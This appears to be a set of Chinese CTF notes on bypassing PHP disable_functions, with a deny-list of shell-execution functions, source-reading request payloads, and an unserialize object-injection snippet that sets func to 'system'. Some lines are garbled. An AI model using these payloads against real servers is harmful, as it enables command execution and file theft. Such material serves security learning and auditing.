1.isable_functions ,system函数等被禁用,可以使用反序列化加url编码绕过
$disable_fun = array(“exec”,”shell_exec”,”system”,”passthru”,”proc_open”,”show_source”,”phpinfo”,”popen”,”dl”,”eval”,”proc_terminate”,”touch”,”escapeshellcmd”,”escapeshellarg”,”assert”,”substr_replace”,”call_user_func_array”,”call_user_func”,”array_filter”, “array_walk”, “array_map”,”registregister_shutdown_function”,”register_tick_function”,”filter_var”, “filter_var_array”, “uasort”, “uksort”, “array_reduce”,”array_walk”, “array_walk_recursive”,”pcntl_exec”,”fopen”,”fwrite”,”file_put_contents”);
2. isset() 测试一个被设置成 NULL 的变量,将返回 FALSE
!isset()检测是不上为空变量,返回FALSE
3.date是一个函数,后面的p应该是它的参数
猜测使用了call_user_func(函数名,参数)函数
读取源码
func=readfile&p=index.php
func=file_get_contents&p=index.php
4.php ->的理解
如:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
本身已经创建的一个类,这时候如果在别的地方创建一个新的参数内容替换旧的$p或者¥func,这个参数又要在这个new一个新对象Test中
可以这样:
$a=new Test();
$a->$p=”ls /tmp”;
$a->$func=”system”;
#print_r(urlencode(serialize($a)));
从PHP7开始可以用('phpinfo')();
这种方式来执行函数
去反就是:~
php可以 使用print_r(scandir(‘.’))来进行列目录
读取flag.php
使用readfile(‘flag.php’)
简单给不懂正则的童鞋解释一下这条正则的意思是 有(SELECT|INSERT|UPDATE|DELETE)
其中之一且后面出现了$_SERVER
如果能在sql语句拼接中出现不会被转义的$_SERVER内容的话,很有可能就是一个注入了 不得不说,审代码 运气也很重要,还真被我搜到一处
(SELECT|INSERT|UPDATE|DELETE).*\$_SERVER